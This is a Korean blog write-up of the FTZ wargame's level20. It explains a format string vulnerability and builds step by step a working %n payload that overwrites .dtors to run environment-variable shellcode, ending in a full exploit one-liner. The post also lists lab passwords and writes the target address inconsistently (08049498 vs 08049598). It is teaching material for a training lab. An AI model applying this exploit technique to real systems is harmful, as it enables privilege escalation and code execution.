cgy12306

FTZ 20번 level20 본문

Wargame/FTZ

FTZ 20번 level20

cgy12306 2019. 7. 6. 19:56

ID : level20

PW : we are just regular guys

 

hint 파일을 열어보면 bleh에 80만큼 할당해주고, fgets으로 bleh의 79바이트 만큼 입력을 해주게 된다. bleh변수에 79바이트 만큼 할당해주면 BOF를 사용할 수 없게된다. 일단 디버깅 해보자.

 

메인 심볼이 없어서 디스어셈블을 할 수 없다고 한다.

다시 hint 파일을 보면 printf(bleh);부분이 있다. 원래 c언어를 했었다면 printf("%s", 변수); 이렇게 작성을 했었을텐데 printf(bleh)이 적혀있다. 이 코드는 FSB의 취약점이 있다.

FSB 취약점은 Format String Bug의 약자이다.

우선 포맷스트링의 종류이다.

파라미터

변수형식

%d

정수형 10진수 상수

%f

실수형 상수(float)

%lf

실수형 상수(double)

%c

1문자

%s

문자열

%u

양의 정수(10진수)

%o

양의 정수(8진수)

%x

양의 정수(16진수)

%n

* int(쓰인 총 바이트 수)

 

FSB는 %n을 이용한다. %n은 [esp-4]에서 4byte만큼의 값을 읽어와서 그 값을 주소로 삼고 %n이 나오기 전까지의 문자의 길이를 넣는다. 여기서 중요한 점은 원하는 주소에 원하는 값을 넣을 수 있다는 점이다.

 

attackme를 실행시켜 AAAA %x를 입력해봤더니 AAAA가 출력되고 그 뒤에 4f가 출력되었다. %x를 이용해 버퍼의 구조를 알 수 있다. 버퍼의 위치를 알아낼 때까지 %x를 입력해보자.

 

%x가 4번째 입력 될 때 41414141(AAAA)이 있다. 그러면 스택 구조를 생각해 볼 수 있겠다.

 

 

 

printf와 bleh사이에 dummy가 없다고 가정하면 스택구조는 다음과 같을 것이다.

 

 

 

이 상태로 페이로드를 생각해보자. "AAAA" + "주소" + "%쉘코드 주소 길이c%n" 대충 이런식으로 들어가면 될 것 같다. 앞에 AAAA를 넣어주는 이유는 %c도 포맷 스트링이기 때문에 4byte를 넘겨야하고 그 다음 다시 %n이 나오기 때문에 [ebp-8]에 주소 값이 들어가야 한다.

쉘 코드를 환경변수에 넣어주고 환경변수의 위치를 알아보자.

 

 

환경변수의 주소는 bffffea6이다. bffffea6은 10진수로 바꾸면 3,221,225,126이다. 숫자가 너무 크기 때문에

주소값을 반으로 쪼개서 넣어 줄 것이다.

 

명령어는 "AAAA" + "ret주소" + "AAAA" + "ret주소" + "%쉘코드 주소 길이c%n + "%쉘코드 주소 길이c%n"이 될것이다. 원래 스택 상태대로 해보면 더미가 추가되기 때문에 %8x%8x%8x를 추가해준다. "AAAA" + "ret주소" + "AAAA" + "ret주소" +"%8x%8x%8x" + "%쉘코드 주소 길이c%n + "%쉘코드 주소 길이c%n"가 된다.

 

%x를 해주게 되면 4f는 1바이트이기 때문에 %8x로 크기를 맞춰줘서 ret 주소가 들어있는 버퍼로 이동시켜준다.(%8x는 4byte 길이는 8이다)

 

이제 ret주소와 쉘코드 주소길이만 계산하면 되겠다.

 

ret주소는 gdb를 이용할 수 없기 때문에 dtors(소멸자)를 이용한다.

dtors(소멸자)는 main 함수가 끝날 때 실행 된다고 한다.

objdump로 attackme에 dtors에 해당하는 값을 뽑아낸다.

 

dtors의 주소는 08049594이므로 +4를 해주게 되면 ret주소가 된다.

ret 주소는 08049598이 된다. bffffea6의 값이 커서 반으로 쪼개서 넣어야 하는데 주소도 반으로 쪼개야 하므로 08049498과 +2해준 0804959a에 넣어주면 된다. bfff와 fea6을 어디에 넣어주냐가 문제인데 스택은 리틀 엔디안 방식을 사용하기 때문에 낮은 주소인 08049498에 fea6을, 0804949a에 bfff를 넣어주면 된다. 또 컴퓨터가 버퍼를 읽을 때는 낮은 주소부터 읽기 때문도 있다.

 

"AAAA" + "\x98\x95\x04\x08" +"AAAA" + "\x9a\x95\x04\x08" + "%8x%8x%8x"+ "%첫번째 쉘 코드 주소 길이c%n" + "%두번째 쉘 코드 주소 길이c%n"가 현재 알아낸 페이로드이다.

 

이제 쉘 코드 주소 길이를 알아보자 0x08049598에는 fea6을 넣어야하므로 10진수로 변경하게 되면 65190이 된다. 하지만 %n까지의 길이가 들어가므로 앞의 "AAAA" + "\x98\x95\x04\x08" +"AAAA" + "\x9a\x95\x04\x08" +"%8x%8x%8x" 이 부분의 길이를 빼줘야한다.

수식으로 보면

4 + 4 + 4 + 4 + 8 + 8 + 8 + x = 65190 이다. x는 65150이 된다.

 

"AAAA" + "\x98\x95\x04\x08" +"AAAA" + "\x9a\x95\x04\x08" +"%8x%8x%8x"+ "%65150c%n" + "%두번째 쉘 코드 주소 길이c%n"

두번째 쉘 코드 주소 길이를 알아내면 된다. 두번째 쉘코드 주소의 길이는 bfff이다. 10진수로 바꾸면 49151이다. 그러면 65190 + y = 49151이 되어야 한다. y는 음수가 나오게 된다. 이럴땐 bfff 앞에 1을 붙이고 계산을 한다.

 

1bfff-fea6 을 계산하게 되면 49497이 된다.

 

"AAAA" + "\x98\x95\x04\x08" +"AAAA" + "\x9a\x95\x04\x08" +"%8x%8x%8x"+ "%65150c%n" + "%49497c%n" 이렇게하면 될듯 하다.

 

입력 해보자.

 

최종 페이로드는 (python -c 'print "AAAA" + "\x98\x95\x04\x08" +"AAAA" + "\x9a\x95\x04\x08" + "%8x%8x%8x" + "%65150c%n" + "%49497c%n"';cat) | ./attackme

이다.

 

 

마지막 문제였던만큼 이해하는데 오랜 시간이 걸렸다.....

 

비밀번호는 i will come in a minute

 

 

 

 

 

'Wargame > FTZ' 카테고리의 다른 글

FTZ 19번 level19  (0) 2019.07.06
FTZ 18번 level18  (0) 2019.07.06
FTZ 17번 level17  (0) 2019.07.06
FTZ 16번 level16  (0) 2019.07.06
FTZ 15번 level15  (0) 2019.07.06
Comments